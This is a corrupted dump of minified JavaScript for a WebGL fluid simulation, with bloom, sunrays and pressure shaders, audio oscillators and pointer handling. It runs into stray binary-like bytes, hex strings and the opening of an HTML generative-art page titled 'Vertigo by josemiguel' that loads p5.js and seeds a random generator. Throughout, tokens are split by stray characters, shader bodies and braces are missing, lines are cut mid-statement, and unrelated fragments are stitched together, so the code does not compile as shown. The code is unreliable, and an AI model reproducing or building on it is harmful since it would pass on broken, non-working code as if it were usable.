        sum *= 0.25;
        gl_FragColor = sum;
`),bloomFinalShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying vec2 vR;
    varying vec2 vT;
    varying vec2 vB;
    uniform sampler2D uTexture;
    uniform float intensity;
        vec4 sum = vec4(0.0);
        sum += texture2D(uTexture, vL);
        sum += texture2D(uTexture, vR);
        sum += texture2D(uTexture, vT);
        sum += texture2D(uTexture, vB);
        sum *= 0.25;
        gl_FragColor = sum * intensity;
`),sunraysMaskShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2M
    varying vec2 vUv;
    uniform sampler2D uTexture;
        vec4 c = texture2D(uTexture, vUv);
        float br = max(c.r, max(c.g, c.b));
        c.a = 1.0 - min(max(br * 20.0, 0.0), 0.8);
        gl_FragColor = c;
`),sunraysShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
    uniform sampler2D uTexture;
    uniform float weight;
    #define ITERATIONS 16
        float Density = 0.3;
   float Decay = 0.95;
        float Exposure = 0.7;
        vec2 coord = vUv;
        vec2 dir = vUv - 0.5;
        dir *= 1.0 / float(ITERATIONS) * Density;
        float illuminationDecay = 1.0;
        float color = texture2D(uTexture, vUv).a;
        for (int i = 0; i < ITERATIONS; i++)
            coord -= dir;
            float col = texture2D(uTexture, coord).a;
            color += col * illuminationDecay * weight;
            illuminationDecay *= Decay;
        gl_FragColor = vec4M
(color * Exposure, 0.0, 0.0, 1.0);
`),splatShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
    uniform sampler2D uTarget;
    uniform float aspectRatio;
    uniform vec3 color;
    uniform vec2 point;
    uniform float radius;
        vec2 p = vUv - point.xy;
        p.x *= aspectRatio;
        vec3 splat = exp(-dot(p, p) / radius) * color;
        vec3 base = texture2D(uTarget, vUv).xyz;
        gl_FragColor = vec4M
(base + splat, 1.0);
`),advectionShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
    uniform sampler2D uVelocity;
    uniform sampler2D uSource;
    uniform vec2 texelSize;
    uniform vec2 dyeTexelSize;
    uniform float dt;
    uniform float dissipation;
    vec4 bilerp (sampler2D sam, vec2 uv, vec2 tsize) {
        vec2 st = uv / tsize - 0.5;
        vec2 iuv = floor(st);
        vec2 fuv = fract(st);
        vec4 a = texture2D(sM
am, (iuv + vec2(0.5, 0.5)) * tsize);
        vec4 b = texture2D(sam, (iuv + vec2(1.5, 0.5)) * tsize);
        vec4 c = texture2D(sam, (iuv + vec2(0.5, 1.5)) * tsize);
        vec4 d = texture2D(sam, (iuv + vec2(1.5, 1.5)) * tsize);
        return mix(mix(a, b, fuv.x), mix(c, d, fuv.x), fuv.y);
    #ifdef MANUAL_FILTERING
        vec2 coord = vUv - dt * bilerp(uVelocity, vUv, texelSize).xy * texelSize;
        vec4 result = bilerp(uSource, coord, dyeTexelSize);
 = vUv - dt * texture2D(uVelocity, vUv).xy * texelSize;
        vec4 result = texture2D(uSource, coord);
        float decay = 1.0 + dissipation * dt;
        gl_FragColor = result / decay;
    }`,ext.supportLinearFiltering?null:["MANUAL_FILTERING"]),divergenceShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    varying highp vec2 vL;
    varying highp vec2 vR;
    varying highp vec2 vT;
    varying highp vec2 vB;
form sampler2D uVelocity;
        float L = texture2D(uVelocity, vL).x;
        float R = texture2D(uVelocity, vR).x;
        float T = texture2D(uVelocity, vT).y;
        float B = texture2D(uVelocity, vB).y;
        vec2 C = texture2D(uVelocity, vUv).xy;
        if (vL.x < 0.0) { L = -C.x; }
        if (vR.x > 1.0) { R = -C.x; }
        if (vT.y > 1.0) { T = -C.y; }
        if (vB.y < 0.0) { B = -C.y; }
        float div = 0.5 * (R - L + T - B);
        gl_FragColor = vec4(div, 0.0, 0.0, 1.0M
`),curlShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    varying highp vec2 vL;
    varying highp vec2 vR;
    varying highp vec2 vT;
    varying highp vec2 vB;
    uniform sampler2D uVelocity;
        float L = texture2D(uVelocity, vL).y;
        float R = texture2D(uVelocity, vR).y;
        float T = texture2D(uVelocity, vT).x;
        float B = texture2D(uVelocity, vB).x;
        float vorticity = M
        gl_FragColor = vec4(0.5 * vorticity, 0.0, 0.0, 1.0);
`),vorticityShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
    varying vec2 vL;
    varying vec2 vR;
    varying vec2 vT;
    varying vec2 vB;
    uniform sampler2D uVelocity;
    uniform sampler2D uCurl;
    uniform float curl;
    uniform float dt;
        float L = texture2D(uCurl, vL).x;
        float R = texture2D(uCurl, vR).x;
 float T = texture2D(uCurl, vT).x;
        float B = texture2D(uCurl, vB).x;
        float C = texture2D(uCurl, vUv).x;
        vec2 force = 0.5 * vec2(abs(T) - abs(B), abs(R) - abs(L));
        force /= length(force) + 0.0001;
        force *= curl * C;
        force.y *= -1.0;
        vec2 velocity = texture2D(uVelocity, vUv).xy;
        velocity += force * dt;
        velocity = min(max(velocity, -1000.0), 1000.0);
        gl_FragColor = vec4(velocity, 0.0, 1.0);
`),pressureShader=compileShader(gl.FRAGMEM
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    varying highp vec2 vL;
    varying highp vec2 vR;
    varying highp vec2 vT;
    varying highp vec2 vB;
    uniform sampler2D uPressure;
    uniform sampler2D uDivergence;
        float L = texture2D(uPressure, vL).x;
        float R = texture2D(uPressure, vR).x;
        float T = texture2D(uPressure, vT).x;
        float B = texture2D(uPressure, vB).x;
        float C = texture2D(uPressureM
        float divergence = texture2D(uDivergence, vUv).x;
        float pressure = (L + R + B + T - divergence) * 0.25;
        gl_FragColor = vec4(pressure, 0.0, 0.0, 1.0);
`),gradientSubtractShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    varying highp vec2 vL;
    varying highp vec2 vR;
    varying highp vec2 vT;
    varying highp vec2 vB;
    uniform sampler2D uPressure;
    uniform sampler2D uVelocity;
        float L = texture2D(uPressure, vL).x;
        float R = texture2D(uPressure, vR).x;
        float T = texture2D(uPressure, vT).x;
        float B = texture2D(uPressure, vB).x;
        vec2 velocity = texture2D(uVelocity, vUv).xy;
        velocity.xy -= vec2(R - L, T - B);
        gl_FragColor = vec4(velocity, 0.0, 1.0);
`),blit=(()=>(gl.bindBuffer(gl.ARRAY_BUFFER,gl.createBuffer()),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([-1,-1,-1,1,1,1,1,-1]),gl.STATIC_DRAW),gl.bindBuffer(gl.ELM
EMENT_ARRAY_BUFFER,gl.createBuffer()),gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,new Uint16Array([0,1,2,0,2,3]),gl.STATIC_DRAW),gl.vertexAttribPointer(0,2,gl.FLOAT,!1,0,0),gl.enableVertexAttribArray(0),(a,b=!1)=>{null==a?(gl.viewport(0,0,gl.drawingBufferWidth,gl.drawingBufferHeight),gl.bindFramebuffer(gl.FRAMEBUFFER,null)):(gl.viewport(0,0,a.width,a.height),gl.bindFramebuffer(gl.FRAMEBUFFER,a.fbo)),b&&(gl.clearColor(0,0,0,1),gl.clear(gl.COLOR_BUFFER_BIT)),gl.drawElements(gl.TRIANGLES,6,gl.UNSIGNED_SHORT,0)}))();functionM
 CHECK_FRAMEBUFFER_STATUS(){let a=gl.checkFramebufferStatus(gl.FRAMEBUFFER);a!=gl.FRAMEBUFFER_COMPLETE&&console.trace("Framebuffer error: "+a)}let dye,velocity,divergence,curl,pressure,bloom,sunrays,sunraysTemp,bloomFramebuffers=[],ditheringTexture=null;const blurProgram=new Program(blurVertexShader,blurShader),copyProgram=new Program(baseVertexShader,copyShader),clearProgram=new Program(baseVertexShader,clearShader),colorProgram=new Program(baseVertexShader,colorShader),checkerboardProgram=new Program(baseVertexShM
ader,checkerboardShader),bloomPrefilterProgram=new Program(baseVertexShader,bloomPrefilterShader),bloomBlurProgram=new Program(baseVertexShader,bloomBlurShader),bloomFinalProgram=new Program(baseVertexShader,bloomFinalShader),sunraysMaskProgram=new Program(baseVertexShader,sunraysMaskShader),sunraysProgram=new Program(baseVertexShader,sunraysShader),splatProgram=new Program(baseVertexShader,splatShader),advectionProgram=new Program(baseVertexShader,advectionShader),divergenceProgram=new Program(baseVertexShader,divM
ergenceShader),curlProgram=new Program(baseVertexShader,curlShader),vorticityProgram=new Program(baseVertexShader,vorticityShader),pressureProgram=new Program(baseVertexShader,pressureShader),gradienSubtractProgram=new Program(baseVertexShader,gradientSubtractShader),displayMaterial=new Material(baseVertexShader,displayShaderSource);function initFramebuffers(){let a=getResolution(config.SIM_RESOLUTION),b=getResolution(config.DYE_RESOLUTION);const c=ext.halfFloatTexType,d=ext.formatRGBA,e=ext.formatRG,f=ext.formatR,M
g=ext.supportLinearFiltering?gl.LINEAR:gl.NEAREST;gl.disable(gl.BLEND),dye=null==dye?createDoubleFBO(b.width,b.height,d.internalFormat,d.format,c,g):resizeDoubleFBO(dye,b.width,b.height,d.internalFormat,d.format,c,g),velocity=null==velocity?createDoubleFBO(a.width,a.height,e.internalFormat,e.format,c,g):resizeDoubleFBO(velocity,a.width,a.height,e.internalFormat,e.format,c,g),divergence=createFBO(a.width,a.height,f.internalFormat,f.format,c,gl.NEAREST),curl=createFBO(a.width,a.height,f.internalFormat,f.format,c,gl.NM
EAREST),pressure=createDoubleFBO(a.width,a.height,f.internalFormat,f.format,c,gl.NEAREST),initBloomFramebuffers(),initSunraysFramebuffers()}function initBloomFramebuffers(){let a=getResolution(config.BLOOM_RESOLUTION);const b=ext.halfFloatTexType,c=ext.formatRGBA,d=ext.supportLinearFiltering?gl.LINEAR:gl.NEAREST;bloom=createFBO(a.width,a.height,c.internalFormat,c.format,b,d),bloomFramebuffers.length=0;for(let e=0;e<config.BLOOM_ITERATIONS;e++){let f=a.width>>e+1,g=a.height>>e+1;if(2>f||2>g)break;let h=createFBO(f,gM
,c.internalFormat,c.format,b,d);bloomFramebuffers.push(h)}}function initSunraysFramebuffers(){let a=getResolution(config.SUNRAYS_RESOLUTION);const b=ext.halfFloatTexType,c=ext.formatR,d=ext.supportLinearFiltering?gl.LINEAR:gl.NEAREST;sunrays=createFBO(a.width,a.height,c.internalFormat,c.format,b,d),sunraysTemp=createFBO(a.width,a.height,c.internalFormat,c.format,b,d)}function createFBO(a,b,c,d,e,f){gl.activeTexture(gl.TEXTURE0);let g=gl.createTexture();gl.bindTexture(gl.TEXTURE_2D,g),gl.texParameteri(gl.TEXTURE_2D,M
gl.TEXTURE_MIN_FILTER,f),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,f),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texImage2D(gl.TEXTURE_2D,0,c,a,b,0,d,e,null);let h=gl.createFramebuffer();gl.bindFramebuffer(gl.FRAMEBUFFER,h),gl.framebufferTexture2D(gl.FRAMEBUFFER,gl.COLOR_ATTACHMENT0,gl.TEXTURE_2D,g,0),gl.viewport(0,0,a,b),gl.clear(gl.COLOR_BUFFER_BIT);return{texture:g,fbo:h,width:a,height:b,texelSizeX:1/a,texelSM
izeY:1/b,attach(a){return gl.activeTexture(gl.TEXTURE0+a),gl.bindTexture(gl.TEXTURE_2D,g),a}}}function createDoubleFBO(a,b,c,d,e,f){let g=createFBO(a,b,c,d,e,f),h=createFBO(a,b,c,d,e,f);return{width:a,height:b,texelSizeX:g.texelSizeX,texelSizeY:g.texelSizeY,get read(){return g},set read(a){g=a},get write(){return h},set write(a){h=a},swap(){let a=g;g=h,h=a}}}function resizeFBO(a,b,c,d,e,f,g){let h=createFBO(b,c,d,e,f,g);return copyProgram.bind(),gl.uniform1i(copyProgram.uniforms.uTexture,a.attach(0)),blit(h),h}funcM
tion resizeDoubleFBO(a,b,c,d,e,f,g){return a.width==b&&a.height==c?a:(a.read=resizeFBO(a.read,b,c,d,e,f,g),a.write=createFBO(b,c,d,e,f,g),a.width=b,a.height=c,a.texelSizeX=1/b,a.texelSizeY=1/c,a)}function createTextureAsync(a){let b=gl.createTexture();gl.bindTexture(gl.TEXTURE_2D,b),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.LINEAR),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.LINEAR),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.REPEAT),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_TM
,gl.REPEAT),gl.texImage2D(gl.TEXTURE_2D,0,gl.RGB,1,1,0,gl.RGB,gl.UNSIGNED_BYTE,new Uint8Array([255,255,255]));let c={texture:b,width:1,height:1,attach(a){return gl.activeTexture(gl.TEXTURE0+a),gl.bindTexture(gl.TEXTURE_2D,b),a}},d=new Image;return d.onload=()=>{c.width=d.width,c.height=d.height,gl.bindTexture(gl.TEXTURE_2D,b),gl.texImage2D(gl.TEXTURE_2D,0,gl.RGB,gl.RGB,gl.UNSIGNED_BYTE,d)},d.src=a,c}function initAudio(){if(!audioIsInitialized){console.log(audioContext.sampleRate),console.log(audioContext.destinatioM
n.channelCount),droneOscillator.frequency.value=40,droneOscillator.type="sine";var a=audioContext.createGain();droneOscillator.connect(a),a.connect(audioContext.destination);var b=audioContext.currentTime;a.gain.setValueAtTime(.05,b),droneOscillator.start(0),audioIsInitialized=!0}}function kick(){var a=audioContext.createOscillator(),b=audioContext.createOscillator(),c=audioContext.createGain(),d=audioContext.createGain();a.type="triangle",b.type="sine",c.gain.setValueAtTime(1,audioContext.currentTime),c.gain.exponM
entialRampToValueAtTime(.001,audioContext.currentTime+.5),d.gain.setValueAtTime(1,audioContext.currentTime),d.gain.exponentialRampToValueAtTime(.001,audioContext.currentTime+.5),a.frequency.setValueAtTime(90,audioContext.currentTime),a.frequency.exponentialRampToValueAtTime(.001,audioContext.currentTime+.5),b.frequency.setValueAtTime(20,audioContext.currentTime),b.frequency.exponentialRampToValueAtTime(.001,audioContext.currentTime+.5),a.connect(c),b.connect(d),c.connect(audioContext.destination),d.connect(audioConM
text.destination),b.start(audioContext.currentTime),b.stop(audioContext.currentTime+.5)}function updateKeywords(){let a=[];config.SHADING&&a.push("SHADING"),config.BLOOM&&a.push("BLOOM"),config.SUNRAYS&&a.push("SUNRAYS"),displayMaterial.setKeywords(a)}updateKeywords(),initFramebuffers();let lastUpdateTime=Date.now(),colorUpdateTimer=0;update();function update(){const a=calcDeltaTime();resizeCanvas()&&initFramebuffers(),updateColors(a),applyAnimation(a),applyInputs(),config.PAUSED||step(a),render(null),requestAnimatM
ionFrame(update)}function calcDeltaTime(){let a=Date.now(),b=(a-lastUpdateTime)/1e3;return b=Math.min(b,.016666),lastUpdateTime=a,b}function resizeCanvas(){let a=scaleByPixelRatio(canvas.clientWidth),b=scaleByPixelRatio(canvas.clientHeight);return!(canvas.width==a&&canvas.height==b)&&(canvas.width=a,canvas.height=b,!0)}function updateColors(a){config.COLORFUL&&(colorUpdateTimer+=a*config.COLOR_UPDATE_SPEED,1<=colorUpdateTimer&&(colorUpdateTimer=wrap(colorUpdateTimer,0,1),pointers.forEach(a=>{a.color=generateColor()M
})))}function applyInputs(){0<splatStack.length&&multipleSplats(splatStack.pop()),pointers.forEach(a=>{a.moved&&(a.moved=!1,console.log(a),splatPointer(a))})}function applyAnimation(a){timeSinceSplat+=a,timeSinceSplat>=splatFrequency&&(performSplat(a),playSound&&kick(),timeSinceSplat=0,console.log("Splat Frequency: "+splatFrequency),console.log("Time since Splat Frequency Change: "+timeSinceSplatFrequencyChange),splatFrequencyReducing?0<splatFrequency?(droneOscillator.frequency.value+=.33,timeSinceSplatFrequencyChaM
nge>=splatFrequency?(splatFrequency-=splatFrequencyIncrement,timeSinceSplatFrequencyChange=0):timeSinceSplatFrequencyChange+=a):splatFrequencyReducing=!1:splatFrequency<startingSplatFrequency?(droneOscillator.frequency.value-=.33,timeSinceSplatFrequencyChange>=splatFrequency?(splatFrequency+=splatFrequencyIncrement,timeSinceSplatFrequencyChange=0):timeSinceSplatFrequencyChange+=a):splatFrequencyReducing=!0)}function performSplat(){let a=animationHue+=config.COLOR_UPDATE_SPEED;1<=animationHue&&(animationHue=0);constM
 b=generateColorFromHue(a);b.r*=10,b.g*=10,b.b*=10;const c=.5+.1*Math.sin(currentFrame),d=.5+.1*Math.cos(currentFrame),e=250*Math.sin(currentFrame),f=250*Math.cos(currentFrame);splat(c,d,e,f,b)}function step(a){gl.disable(gl.BLEND),curlProgram.bind(),gl.uniform2f(curlProgram.uniforms.texelSize,velocity.texelSizeX,velocity.texelSizeY),gl.uniform1i(curlProgram.uniforms.uVelocity,velocity.read.attach(0)),blit(curl),vorticityProgram.bind(),gl.uniform2f(vorticityProgram.uniforms.texelSize,velocity.texelSizeX,velocity.teM
xelSizeY),gl.uniform1i(vorticityProgram.uniforms.uVelocity,velocity.read.attach(0)),gl.uniform1i(vorticityProgram.uniforms.uCurl,curl.attach(1)),gl.uniform1f(vorticityProgram.uniforms.curl,config.CURL),gl.uniform1f(vorticityProgram.uniforms.dt,a),blit(velocity.write),velocity.swap(),divergenceProgram.bind(),gl.uniform2f(divergenceProgram.uniforms.texelSize,velocity.texelSizeX,velocity.texelSizeY),gl.uniform1i(divergenceProgram.uniforms.uVelocity,velocity.read.attach(0)),blit(divergence),clearProgram.bind(),gl.unifoM
rm1i(clearProgram.uniforms.uTexture,pressure.read.attach(0)),gl.uniform1f(clearProgram.uniforms.value,config.PRESSURE),blit(pressure.write),pressure.swap(),pressureProgram.bind(),gl.uniform2f(pressureProgram.uniforms.texelSize,velocity.texelSizeX,velocity.texelSizeY),gl.uniform1i(pressureProgram.uniforms.uDivergence,divergence.attach(0));for(let b=0;b<config.PRESSURE_ITERATIONS;b++)gl.uniform1i(pressureProgram.uniforms.uPressure,pressure.read.attach(1)),blit(pressure.write),pressure.swap();gradienSubtractProgram.biM
nd(),gl.uniform2f(gradienSubtractProgram.uniforms.texelSize,velocity.texelSizeX,velocity.texelSizeY),gl.uniform1i(gradienSubtractProgram.uniforms.uPressure,pressure.read.attach(0)),gl.uniform1i(gradienSubtractProgram.uniforms.uVelocity,velocity.read.attach(1)),blit(velocity.write),velocity.swap(),advectionProgram.bind(),gl.uniform2f(advectionProgram.uniforms.texelSize,velocity.texelSizeX,velocity.texelSizeY),ext.supportLinearFiltering||gl.uniform2f(advectionProgram.uniforms.dyeTexelSize,velocity.texelSizeX,velocityM
.texelSizeY);let b=velocity.read.attach(0);gl.uniform1i(advectionProgram.uniforms.uVelocity,b),gl.uniform1i(advectionProgram.uniforms.uSource,b),gl.uniform1f(advectionProgram.uniforms.dt,a),gl.uniform1f(advectionProgram.uniforms.dissipation,config.VELOCITY_DISSIPATION),blit(velocity.write),velocity.swap(),ext.supportLinearFiltering||gl.uniform2f(advectionProgram.uniforms.dyeTexelSize,dye.texelSizeX,dye.texelSizeY),gl.uniform1i(advectionProgram.uniforms.uVelocity,velocity.read.attach(0)),gl.uniform1i(advectionPrograM
m.uniforms.uSource,dye.read.attach(1)),gl.uniform1f(advectionProgram.uniforms.dissipation,config.DENSITY_DISSIPATION),blit(dye.write),dye.swap()}function render(a){currentFrame++,config.BLOOM&&applyBloom(dye.read,bloom),config.SUNRAYS&&(applySunrays(dye.read,dye.write,sunrays),blur(sunrays,sunraysTemp,1)),null!=a&&config.TRANSPARENT?gl.disable(gl.BLEND):(gl.blendFunc(gl.ONE,gl.ONE_MINUS_SRC_ALPHA),gl.enable(gl.BLEND)),config.TRANSPARENT||drawColor(a,normalizeColor(config.BACK_COLOR)),null==a&&config.TRANSPARENT&&drM
awCheckerboard(a),drawDisplay(a)}function drawColor(a,b){colorProgram.bind(),gl.uniform4f(colorProgram.uniforms.color,b.r,b.g,b.b,1),blit(a)}function drawCheckerboard(a){checkerboardProgram.bind(),gl.uniform1f(checkerboardProgram.uniforms.aspectRatio,canvas.width/canvas.height),blit(a)}function drawDisplay(a){let b=null==a?gl.drawingBufferWidth:a.width,c=null==a?gl.drawingBufferHeight:a.height;displayMaterial.bind(),config.SHADING&&gl.uniform2f(displayMaterial.uniforms.texelSize,1/b,1/c),gl.uniform1i(displayMateriaM
l.uniforms.uTexture,dye.read.attach(0)),config.BLOOM&&gl.uniform1i(displayMaterial.uniforms.uBloom,bloom.attach(1)),config.SUNRAYS&&gl.uniform1i(displayMaterial.uniforms.uSunrays,sunrays.attach(3)),blit(a)}function applyBloom(a,b){if(2>bloomFramebuffers.length)return;let c=b;gl.disable(gl.BLEND),bloomPrefilterProgram.bind();let d=config.BLOOM_THRESHOLD*config.BLOOM_SOFT_KNEE+1e-4,e=config.BLOOM_THRESHOLD-d;gl.uniform3f(bloomPrefilterProgram.uniforms.curve,e,2*d,.25/d),gl.uniform1f(bloomPrefilterProgram.uniforms.thrM
eshold,config.BLOOM_THRESHOLD),gl.uniform1i(bloomPrefilterProgram.uniforms.uTexture,a.attach(0)),blit(c),bloomBlurProgram.bind();for(let d,e=0;e<bloomFramebuffers.length;e++)d=bloomFramebuffers[e],gl.uniform2f(bloomBlurProgram.uniforms.texelSize,c.texelSizeX,c.texelSizeY),gl.uniform1i(bloomBlurProgram.uniforms.uTexture,c.attach(0)),blit(d),c=d;gl.blendFunc(gl.ONE,gl.ONE),gl.enable(gl.BLEND);for(let d,e=bloomFramebuffers.length-2;0<=e;e--)d=bloomFramebuffers[e],gl.uniform2f(bloomBlurProgram.uniforms.texelSize,c.texeM
lSizeX,c.texelSizeY),gl.uniform1i(bloomBlurProgram.uniforms.uTexture,c.attach(0)),gl.viewport(0,0,d.width,d.height),blit(d),c=d;gl.disable(gl.BLEND),bloomFinalProgram.bind(),gl.uniform2f(bloomFinalProgram.uniforms.texelSize,c.texelSizeX,c.texelSizeY),gl.uniform1i(bloomFinalProgram.uniforms.uTexture,c.attach(0)),gl.uniform1f(bloomFinalProgram.uniforms.intensity,config.BLOOM_INTENSITY),blit(b)}function applySunrays(a,b,c){gl.disable(gl.BLEND),sunraysMaskProgram.bind(),gl.uniform1i(sunraysMaskProgram.uniforms.uTextureM
,a.attach(0)),blit(b),sunraysProgram.bind(),gl.uniform1f(sunraysProgram.uniforms.weight,config.SUNRAYS_WEIGHT),gl.uniform1i(sunraysProgram.uniforms.uTexture,b.attach(0)),blit(c)}function blur(a,b,c){blurProgram.bind();for(let d=0;d<c;d++)gl.uniform2f(blurProgram.uniforms.texelSize,a.texelSizeX,0),gl.uniform1i(blurProgram.uniforms.uTexture,a.attach(0)),blit(b),gl.uniform2f(blurProgram.uniforms.texelSize,0,a.texelSizeY),gl.uniform1i(blurProgram.uniforms.uTexture,b.attach(0)),blit(a)}function splatPointer(a){if(0==curM
rentFrame%2){let b=a.deltaX*config.SPLAT_FORCE,c=a.deltaY*config.SPLAT_FORCE;splat(a.texcoordX,a.texcoordY,b,c,a.color)}}function multipleSplats(a){for(let b=0;b<a;b++){const a=generateColor();a.r*=10,a.g*=10,a.b*=10;const b=Math.random(),c=Math.random(),d=1e3*(Math.random()-.5),e=1e3*(Math.random()-.5);splat(b,c,d,e,a)}}function splat(a,b,c,d,e){splatProgram.bind(),gl.uniform1i(splatProgram.uniforms.uTarget,velocity.read.attach(0)),gl.uniform1f(splatProgram.uniforms.aspectRatio,canvas.width/canvas.height),gl.unifoM
rm2f(splatProgram.uniforms.point,a,b),gl.uniform3f(splatProgram.uniforms.color,c,d,0),gl.uniform1f(splatProgram.uniforms.radius,correctRadius(config.SPLAT_RADIUS/100)),blit(velocity.write),velocity.swap(),gl.uniform1i(splatProgram.uniforms.uTarget,dye.read.attach(0)),gl.uniform3f(splatProgram.uniforms.color,e.r,e.g,e.b),blit(dye.write),dye.swap()}function correctRadius(a){let b=canvas.width/canvas.height;return 1<b&&(a*=b),a}canvas.addEventListener("mousedown",a=>{playSound||(playSound=!0,initAudio());let b=scaleByM
PixelRatio(a.offsetX),c=scaleByPixelRatio(a.offsetY),d=pointers.find(a=>-1==a.id);null==d&&(d=new pointerPrototype),updatePointerDownData(d,-1,b,c)}),canvas.addEventListener("mousemove",a=>{let b=pointers[0];if(!b.down)return;let c=scaleByPixelRatio(a.offsetX),d=scaleByPixelRatio(a.offsetY);updatePointerMoveData(b,c,d)}),window.addEventListener("mouseup",()=>{updatePointerUpData(pointers[0])}),canvas.addEventListener("touchstart",a=>{playSound||(playSound=!0,initAudio()),a.preventDefault();const b=a.targetTouches;fM
or(;b.length>=pointers.length;)pointers.push(new pointerPrototype);for(let c=0;c<b.length;c++){let a=scaleByPixelRatio(b[c].pageX),d=scaleByPixelRatio(b[c].pageY);updatePointerDownData(pointers[c+1],b[c].identifier,a,d)}}),canvas.addEventListener("touchmove",a=>{a.preventDefault();const b=a.targetTouches;for(let c,d=0;d<b.length;d++){if(c=pointers[d+1],!c.down)continue;let a=scaleByPixelRatio(b[d].pageX),e=scaleByPixelRatio(b[d].pageY);updatePointerMoveData(c,a,e)}},!1),window.addEventListener("touchend",a=>{const M
b=a.changedTouches;for(let c,d=0;d<b.length;d++)c=pointers.find(a=>a.id==b[d].identifier),null!=c&&updatePointerUpData(c)}),window.addEventListener("keydown",a=>{"KeyP"===a.code&&(config.PAUSED=!config.PAUSED)," "===a.key&&splatStack.push(parseInt(20*Math.random())+5)});function updatePointerDownData(a,b,c,d){a.id=b,a.down=!0,a.moved=!1,a.texcoordX=c/canvas.width,a.texcoordY=1-d/canvas.height,a.prevTexcoordX=a.texcoordX,a.prevTexcoordY=a.texcoordY,a.deltaX=0,a.deltaY=0,a.color=generateColor()}function updatePointerM
MoveData(a,b,c){a.prevTexcoordX=a.texcoordX,a.prevTexcoordY=a.texcoordY,a.texcoordX=b/canvas.width,a.texcoordY=1-c/canvas.height,a.deltaX=correctDeltaX(a.texcoordX-a.prevTexcoordX),a.deltaY=correctDeltaY(a.texcoordY-a.prevTexcoordY),a.moved=0<Math.abs(a.deltaX)||0<Math.abs(a.deltaY)}function updatePointerUpData(a){a.down=!1}function correctDeltaX(a){let b=canvas.width/canvas.height;return 1>b&&(a*=b),a}function correctDeltaY(a){let b=canvas.width/canvas.height;return 1<b&&(a/=b),a}function generateColor(){let a=HSVM
toRGB(Math.random(),1,1);return a.r*=.15,a.g*=.15,a.b*=.15,a}function generateColorFromHue(a){let b=HSVtoRGB(a,1,1);return b.r*=.15,b.g*=.15,b.b*=.15,b}function HSVtoRGB(a,c,d){let e,h,j,k,l,m,n,o;switch(k=Math.floor(6*a),l=6*a-k,m=d*(1-c),n=d*(1-l*c),o=d*(1-(1-l)*c),k%6){case 0:e=d,h=o,j=m;break;case 1:e=n,h=d,j=m;break;case 2:e=m,h=d,j=o;break;case 3:e=m,h=n,j=d;break;case 4:e=o,h=m,j=d;break;case 5:e=d,h=m,j=n;}return{r:e,g:h,b:j}}function normalizeColor(a){let b={r:a.r/255,g:a.g/255,b:a.b/255};return b}functionM
 wrap(a,b,c){let d=c-b;return 0==d?b:(a-b)%d+b}function getResolution(a){let b=gl.drawingBufferWidth/gl.drawingBufferHeight;1>b&&(b=1/b);let c=Math.round(a),d=Math.round(a*b);return gl.drawingBufferWidth>gl.drawingBufferHeight?{width:d,height:c}:{width:c,height:d}}function getTextureScale(a,b,c){return{x:b/a.width,y:c/a.height}}function scaleByPixelRatio(a){let b=window.devicePixelRatio||1;return Math.floor(a*b)}function hashCode(a){if(0==a.length)return 0;let b=0;for(let c=0;c<a.length;c++)b=(b<<5)-b+a.charCodeAt(7c),b|=0;return b}
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
 a9647ad0cc3ad084bea81ccd1cb510a5H0E
 94542b0828609869ebe6ea7fd85ddc22H0E
 1f97f44a09e2d6bbe0f9b20c0b53cc0cG0D
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Vertigo by josemiguel</title>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script id="snippet-random-code" type="text/javascript">
        let seed=window.location.href.split('/').find(t=>t.includes('i0'));
        if (seed == null) {
            seed = new URLSearchParams(window.location.search).get("seed");
            let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233)M
, i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
